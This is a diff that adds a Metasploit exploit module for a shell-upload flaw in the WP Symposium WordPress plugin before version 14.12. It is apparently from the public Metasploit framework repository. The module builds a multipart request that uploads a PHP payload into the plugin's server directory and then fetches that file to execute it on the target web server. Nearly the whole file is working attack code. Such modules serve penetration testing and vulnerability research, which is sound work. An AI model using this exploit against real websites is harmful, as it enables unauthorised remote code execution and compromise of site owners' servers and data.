|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//www.metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::FileDropper |
| 12 | + include Msf::HTTP::Wordpress |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'WordPress WP Symposium 14.11 Shell Upload', |
| 18 | + 'Description' => %q{WP Symposium Plugin for WordPress contains a |
| 19 | + flaw that allows a remote attacker to execute |
| 20 | + arbitrary PHP code. This flaw exists because the |
| 21 | + /wp-symposium/server/file_upload_form.php script |
| 22 | + does not properly verify or sanitize |
| 23 | + user-uploaded files. By uploading a .php file, |
| 24 | + the remote system will place the file in a |
| 25 | + user-accessible path. Making a direct request to |
| 26 | + the uploaded file will allow the attacker to |
| 27 | + execute the script with the privileges of the |
| 28 | + web server.}, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Claudio Viviani', # Vulnerability disclosure |
| 33 | + 'Rob Carr <rob[at]rastating.com>' # Metasploit module |
| 34 | + ], |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + ['OSVDB', '116046'], |
| 38 | + ['WPVDB', '7716'] |
| 39 | + ], |
| 40 | + 'DisclosureDate' => 'Dec 11 2014', |
| 41 | + 'Platform' => 'php', |
| 42 | + 'Arch' => ARCH_PHP, |
| 43 | + 'Targets' => [['wp-symposium < 14.12', {}]], |
| 44 | + 'DefaultTarget' => 0 |
| 45 | + )) |
| 46 | + end |
| 47 | + |
| 48 | + def check |
| 49 | + check_plugin_version_from_readme('wp-symposium', '14.12') |
| 50 | + end |
| 51 | + |
| 52 | + def generate_mime_message(payload, payload_name, directory_name, symposium_url) |
| 53 | + data = Rex::MIME::Message.new |
| 54 | + data.add_part('1', nil, nil, 'form-data; name="uploader_uid"') |
| 55 | + data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"') |
| 56 | + data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"') |
| 57 | + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"") |
| 58 | + data |
| 59 | + end |
| 60 | + |
| 61 | + def exploit |
| 62 | + print_status("#{peer} - Preparing payload") |
| 63 | + unique_name = Rex::Text.rand_text_alpha(10) |
| 64 | + payload_name = "#{unique_name}.php" |
| 65 | + symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php') |
| 66 | + payload_url = normalize_uri(symposium_url, unique_name, payload_name) |
| 67 | + data = generate_mime_message(payload, payload_name, unique_name, symposium_url) |
| 68 | + symposium_url = normalize_uri(symposium_url, 'index.php') |
| 69 | + |
| 70 | + print_status("#{peer} - Uploading payload to #{payload_url}") |
| 71 | + res = send_request_cgi( |
| 72 | + 'method' => 'POST', |
| 73 | + 'uri' => symposium_url, |
| 74 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 75 | + 'data' => data.to_s |
| 76 | + ) |
| 77 | + |
| 78 | + if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0' |
| 79 | + print_good("#{peer} - Uploaded the payload") |
| 80 | + register_files_for_cleanup(payload_name) |
| 81 | + |
| 82 | + print_status("#{peer} - Executing the payload...") |
| 83 | + send_request_cgi( |
| 84 | + { |
| 85 | + 'uri' => payload_url, |
| 86 | + 'method' => 'GET' |
| 87 | + }, 5) |
| 88 | + print_good("#{peer} - Executed payload") |
| 89 | + else |
| 90 | + if res.nil? |
| 91 | + fail_with(Failure::Unreachable, "No response from the target") |
| 92 | + else |
| 93 | + vprint_error("#{peer} - HTTP Status: #{res.code}") |
| 94 | + vprint_error("#{peer} - Server returned: #{res.body}") |
| 95 | + fail_with(Failure::UnexpectedReply, "Failed to upload the payload") |
| 96 | + end |
| 97 | + end |
| 98 | + end |
| 99 | +end |
0 commit comments